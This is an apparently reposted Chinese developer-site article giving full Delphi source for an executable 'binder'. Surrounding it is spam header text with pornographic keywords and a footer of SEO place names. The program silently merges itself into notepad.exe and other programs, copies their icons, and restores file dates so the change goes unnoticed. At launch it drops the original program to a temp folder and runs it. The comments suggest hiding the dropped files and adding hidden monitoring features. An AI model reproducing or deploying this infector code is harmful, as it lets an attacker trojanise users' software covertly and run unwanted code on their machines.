国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

捆綁執行文件新思維(第二版)

2019-11-18 18:15:04
字體:
來源:轉載
供稿:網友


最新功能:與其它程序捆綁后,圖標為其它程序的圖標
這個示范程序沒有form,編譯、壓縮后僅40K,運行后不長駐內存
如果加上隱藏的窗體,加上搜索可執行程序的功能,加上監視系統的功能,加上 %$#@*^ 功能...

程序中幾個數字的確定:
1  在本程序編譯后用aspack.Exe壓縮,大小為41472
2  經過分析,本程序在用Aspack.Exe壓縮后,圖標前面部分長40751,圖標數據
   位于從第40752字節開始共640字節,圖標后還有81字節

與其它程序捆綁的過程:
本程序的前40751字節+被捆綁程序的圖標+本程序最后81字節+被捆綁程序全部

怎么找到圖標的位置:
將程序的圖標設定為一個32*32的紅色塊,在程序經過編譯、壓縮后,用十六進制
編輯軟件載入,查找"99 99 99"字符串即可。以后你可為程序加上其它合適的圖標。
十六進制編輯軟件:常用UltraEdit。
本人嫌它有日期限制,自編了一個,有十六進制編輯、比較、查找功能,并在不斷完善中,對付幾百K的文件沒問題:
    http://guanbh.top263.net/download/hexedit.exe
}
PRogram exe2;

uses
  classes,
  Tlhelp32,
  windows,
  graphics,
  ShellAPI,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=41472; {!!這個值要根據編譯或壓縮后的文件大小進行修改!!}

procedure copy2(s:string);
var
  s1,s2,IcoStream:TMemoryStream;
  File2:TFilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  File2Icon:Ticon;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
    {若文件不含圖標,就不捆綁}
    File2Icon:=Ticon.Create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
      File2Icon.Free;
      exit;
    end
    else
    begin
       {提取被捆綁程序圖標}
       File2Icon.Handle:=extracticon(handle,pchar(s),0);
       IcoStream:=TMemoryStream.Create;
       File2Icon.SaveToStream(IcoStream);
       File2Icon.Free;
    end;
    {判斷文件s中有沒有第2個程序頭'MZ'。若有,表示已經合并過}
    File2:=TFilestream.Create(s,fmopenread);
    if File2.Size>MySize then
    begin
      File2.Position:=MySize;
      File2.Read(ch,2);
      ss:=copy(ch,1,2);
      if ss='MZ' then
      begin
        File2.Free;
        exit;
      end;
    end;
    File2.Free;
    {將本文件與文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    {
    加入本程序的前部40751字節
    第40752字節開始共640字節為圖標數據
    !!以下數字 40751,81要根據實際情況修改!!
     }
    s1.copyfrom(s2,40751);
    {將圖標換為被捆綁程序圖標,圖標大小為766}
    IcoStream.Position:=126;
    s1.CopyFrom(IcoStream,640);
    IcoStream.Free;
    s2.Position:=40751+640;
    {加入本程序的后部81字節}
    s1.CopyFrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    {加入被捆綁程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢復文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
    s1.Free;
    exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  try
    {
    把文件釋放到臨時目錄。
    如果你不想讓人看到在這個目錄下釋放了一堆文件,可改為其它更隱蔽的目錄,
    如 c:/windows(or winnt)/d...(☆這是個什么目錄?你去研究研究吧!☆)
    }
    s2.SaveToFile(TempDir+'/'+ExtractFileName(ExeName));
  except end;
    cmdstr:='';
    a:=1;
    while ParamStr(a)<>'' do begin
      cmdstr:=cmdstr+ParamStr(a)+' ';
      inc(a);
    end;
  {運行真正的程序文件}
  winexec(pchar(TempDir+'/'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有進程}
    found:=Process32Next(handle,lppe);
  end;
  {如果notepad沒運行,就與它捆在一起}
  if pos(WinDir+'/notepad.exe',ProcessStr)=0 then
  begin
    copy2(WinDir+'/notepad.exe');
  end;
  {其它需要捆綁的文件
  if pos(...,ProcessStr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用這個程序干點其它的什么...
  }
  CreateFileAndRun;{釋放文件并帶參數運行}
end.


上一篇:注冊快捷方式

下一篇:OOP程序設計實踐

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
學習交流
熱門圖片

新聞熱點

疑難解答

圖片精選

網友關注

主站蜘蛛池模板: 长兴县| 南华县| 怀宁县| 阳曲县| 宁河县| 肃北| 绵阳市| 绥化市| 巴南区| 肃宁县| 洞头县| 江口县| 商都县| 肥东县| 平舆县| 邹平县| 惠安县| 台中市| 大渡口区| 周口市| 山西省| 乌兰察布市| 宁津县| 离岛区| 从江县| 安塞县| 仪征市| 乌苏市| 潮州市| 台中市| 宣化县| 昌图县| 丰城市| 平原县| 兴安盟| 天峻县| 莆田市| 德兴市| 垦利县| 郧西县| 卫辉市|